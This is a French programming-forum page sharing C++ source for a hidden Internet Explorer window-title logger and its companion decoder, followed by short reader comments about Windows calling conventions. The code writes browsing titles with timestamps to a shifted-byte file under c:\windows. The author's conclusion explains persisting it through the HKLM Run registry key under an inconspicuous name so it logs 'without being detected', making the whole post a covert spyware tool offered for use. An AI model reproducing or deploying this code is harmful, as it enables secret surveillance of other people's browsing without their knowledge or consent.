1. Accueil
  2. C / C++ / C++.NET
  3. Sources C / C++ / C++.NET
  4. Sources Divers
  5. Log des titres des fenetres ie

Log des titres des fenetres ie

Soyez le premier à donner votre avis sur cette source.

Vue 3 936 fois - Téléchargée 210 fois

Télécharger le projet
Commenter

Description

Ce code permet d'avoir un log des titres des fenetres IE qui ont étés ouvertes
Ce log contient la date l'heure et le titre d'IE

Le fichier contenant le log est crypté (très basique on peut meme pas appeller ça du cryptage c'est juste pour eviter d'être lisible par n'importe qui)
il y a donc un petit programme Decrypt pour decrypter tout ca
Le Header TrouveTitre.h est le même pour les deux (avoir les mêmes fichiers et le même clef de cryptage

Tout est dans le Zip telechargez le il ne fait qu'environ 50Ko

Source / Exemple : 


/*////////////////TrouveTitre.h///////////*/
#define CRYPTKEY 60		//Cle de cryptage
#define FICHIERCRYPT "c:\\windows\\listall.iel"
#define FICHIERDEST  "c:\\listdecrypt.txt"

/*-----------------------------------------------------------------------------------------------*
//
//                                      TrouveLeTitreIE
//Fait par         : MaegisInstinct
//
//le               : 09/03/2003 à 17:57:23
//
//Description      : Cree un log des titres des fenetres IE
//
/*----------------------------------------------------------------------------------------------*/

#include <windows.h>
#include <stdio.h>
#include "TrouveTitre.h"

int APIENTRY WinMain(HINSTANCE hInstance,
					 HINSTANCE hPrevInstance,
					 LPSTR lpCmdLine,
					 int nShowCmd)
{
	HWND handle;		//handle de la fenetre
	DWORD nbrOctetsEcrits;
	char* buffer;		//buffer contenant le titre
	char date[19];		//buffer contenant la date et l'heure
	char dejafait[43][1000] = {0};			//Contient les 40 premiers titres referencés 
	char dejavu = 0;				//Si la fenetre à déja été captée
	int curseur = 0;				//Index de DejaFait ou l'on marquera la titre s'il n'est
									//pas referencé
	char findeLigne[2];				//contient le '\n' crypté
	char espace;					//contient l'espace crypté
	int i;		//controle
	int taille;			//taille du titre
	HANDLE fichier;
	SYSTEMTIME temps;

	//Voila deja 2-3 Titre que je ne veut pas voir figurer dans le log
	strcpy(dejafait[0],"Impossible de trouver le serveur - Microsoft Internet Explorer");
	strcpy(dejafait[1],"http://www.google.fr/ - Microsoft Internet Explorer");
	strcpy(dejafait[2],"Aucune page à afficher - Microsoft Internet Explorer");

	findeLigne[0] = 13+CRYPTKEY;
	findeLigne[1] = 10+CRYPTKEY;	//un \n etant en ASCII un 13 puis un 10
	espace = ' '+CRYPTKEY;
	while(1)
	{
		handle = FindWindow("IEFrame",NULL);		//On trouve la fenetre
		Sleep(100);
		/* on fait un petit Sleep pour eviter de trop ralentir et de bouffer toute l'utilisation
		du processeur (surtout quand aucune apli tourne) et ainsi se faire reperer et puis au max
		en négligeant le temps des instructions et les autres process ca fait du 10 titres/s ce 
		qui suffit amplement*/
		if (handle != NULL)
		{
			taille = GetWindowTextLength(handle);		//On obtient la taille du titre
			buffer = new char[taille+1];
			GetWindowText(handle,buffer,taille+1);		//On adapte le buffer
			dejavu = 0;
			for(i=0;i<43;i++)
			{
				if(strcmp(buffer,dejafait[i]) == 0) 	//verifie si le titre de la fenetre
				{										//n'a pas deja été vu
					dejavu = 1;
					break;
				}
			}
			if (dejavu == 0)						//Si pas deja vu on l'inscrit dans dejavu
			{
				if (++curseur >= 43)				//on incremente le curseur
					curseur = 3;					//Si trop loin on  revient a 3;
				strcpy(dejafait[curseur],buffer);
				GetLocalTime(&temps);
				sprintf(date,"%0.2d/%0.2d/%0.4d %0.2d:%0.2d:%0.2d",temps.wDay,temps.wMonth,temps.wYear,
					    temps.wHour,temps.wMinute,temps.wSecond);  //On obtient date et heure
				for(i=0;i<=19;i++)
					date[i] += CRYPTKEY;			//Petit cryptage bidon
				for(i=0;i<taille;i++)
					buffer[i] += CRYPTKEY;			//De meme pour le buffer

				fichier = CreateFile(FICHIERCRYPT,
					                 GENERIC_WRITE,
									 FILE_SHARE_READ,
									 NULL,
									 OPEN_ALWAYS,
									 FILE_ATTRIBUTE_NORMAL,
									 NULL);

				if(fichier != INVALID_HANDLE_VALUE)
				{
					//Bouge le pointeur à la fin du fichier
					SetFilePointer(fichier,NULL,NULL,FILE_END);
					//On ecrit la date et le texte
					WriteFile(fichier,date,19,&nbrOctetsEcrits,NULL);
					WriteFile(fichier,&espace,1,&nbrOctetsEcrits,NULL);
					WriteFile(fichier,buffer,taille,&nbrOctetsEcrits,NULL);
					WriteFile(fichier,findeLigne,2,&nbrOctetsEcrits,NULL);
					
					CloseHandle(fichier);
				}
					delete[] buffer; 	//On ferme le fichier et on libere la memoire
			}
		}
	}
	return 0;
}

				
/*-----------------------------------------------------------------------------------------------*
//
//                                        Decrypt
//Fait par         : MaegisInstinct
//
//le               : 09/03/2003 à 19:30:03
//
//Description      : Permet de décrypter le fichier de log de TrouveleTitreIE
//
/*----------------------------------------------------------------------------------------------*/

#include <windows.h>
#include "TrouveTitre.h"

int APIENTRY WinMain(HINSTANCE hInstance,
					 HINSTANCE hPrevInstance,
					 LPSTR lpCmdLine,
					 int nShowCmd)
{
	HANDLE fichier;
	DWORD taille;					//taille du fichier source
	DWORD nbrOctets = 0;
	DWORD i;						//controle
	char *buffer;					//buffer pour décrypter

	fichier = CreateFile(FICHIERCRYPT,
						 GENERIC_READ,
						 FILE_SHARE_READ | FILE_SHARE_WRITE,
						 NULL,
						 OPEN_EXISTING,
						 FILE_ATTRIBUTE_NORMAL,
						 NULL);				//On ouvre le fichier

	if (fichier == INVALID_HANDLE_VALUE)
	{
		MessageBox(NULL,"Impossible d'ouvrir le fichier crypté",
				   "Erreur d'ouverture de fichier",MB_OK | MB_TOPMOST | MB_ICONEXCLAMATION);
		buffer = NULL;
	}else
	{
		taille = GetFileSize(fichier,NULL);			//On obtient la taille du fichier
		buffer = new char[taille];		//On alloue la memoire
		if (buffer == NULL)			//Si erreur de mémoire on quitte
		{
			MessageBox(NULL,"Erreur d'allocation de memoire pour le buffer",
							"Erreur memoire",MB_OK | MB_TOPMOST | MB_ICONEXCLAMATION);
			CloseHandle(fichier);
			return 1;
		}
	
			ReadFile(fichier,buffer,taille,&nbrOctets,NULL);//Stoque les donnes dans le buffer	

		if (nbrOctets != taille)	//Si le nombre d'octets lus != de la taille du fichier
		{
			MessageBox(NULL,"Erreur à la lecture du fichier de log",
				      "Erreur de taille du fichier",MB_OK | MB_TOPMOST | MB_ICONEXCLAMATION);
			CloseHandle(fichier);
		//Il se peut que TrouveLeTitreIE soit en train de logger
		}else
		{
			for(i=0;i<taille;i++)
				buffer[i] -= CRYPTKEY;		//On décrypte

			CloseHandle(fichier);		//Ferme le fichier source on en a plsu besoin
			
			fichier = CreateFile(FICHIERDEST,
								 GENERIC_WRITE,
								 FILE_SHARE_READ,
								 NULL,
								 CREATE_ALWAYS,
								 FILE_ATTRIBUTE_NORMAL,
								 NULL);			//On ouvre le fichier de destination

			if (fichier == INVALID_HANDLE_VALUE)
			{
				MessageBox(NULL,"Impossible d'ouvrir le fichier de destination!",
						   "Erreur d'ouverture de fichier",
						   MB_OK | MB_TOPMOST | MB_ICONEXCLAMATION);
			}else
			{
				WriteFile(fichier,buffer,taille,&nbrOctets,NULL);	//On ecrit les données
				return 0;		//fin sans erreur
			}
		}
	}
	if (buffer != NULL)		//On doit liberer la mémoire
		delete[] buffer;

	return 1;
}

Conclusion :


Désolé pour la piteuse présentation il y aurait fallu que j'adapte pour que ca rentre dans ce si petit cadre Telechargez le zip si vous voulez avoir une plus belle presentation.

Il ne reste qu'a le lancer au demarrage ouvrez regedit[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
et la vous mettez votre valeur chaine
Mettez un nom pas reperable et go!

Bon le prog fait une boucle while infinie il reste tout le long en arrière a tout logger sans se faire repérer
Tout commentaire sera le bienvenu
Télécharger le projet

Codes Sources

A voir également

Ajouter un commentaire Commentaires
Signaler
Messages postés
21042
Date d'inscription
jeudi 23 janvier 2003
Statut
Modérateur
Dernière intervention
21 août 2019
 27
juste une question d'habitude, tu mettrais:
int __stdcall DllMain(...)
irait idem.
Signaler
Messages postés
1787
Date d'inscription
lundi 22 novembre 2004
Statut
Membre
Dernière intervention
31 janvier 2009
 2
Okay,
Mais pourquoi pour la compilation d'une DLL on passe par BOOL APIENTRY DllMain
et pour un programme normal Win32, on passe souvent par int WINAPI WinMain ???
Signaler
Messages postés
21042
Date d'inscription
jeudi 23 janvier 2003
Statut
Modérateur
Dernière intervention
21 août 2019
 27
aucune, ce sont 2 alias de __stdcall.
Signaler
Messages postés
1787
Date d'inscription
lundi 22 novembre 2004
Statut
Membre
Dernière intervention
31 janvier 2009
 2
Question moi !!!
Quelle est la différence entre ?
int APIENTRY WinMain
et
int WINAPI WinMain ???

Joky
Signaler
Messages postés
5
Date d'inscription
mardi 1 juillet 2003
Statut
Membre
Dernière intervention
11 avril 2005
juste une info:
c'est pas du cryptage mais de l'ascii shifting ;)
Afficher les 10 commentaires
S'inscrire maintenant

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (Maegis)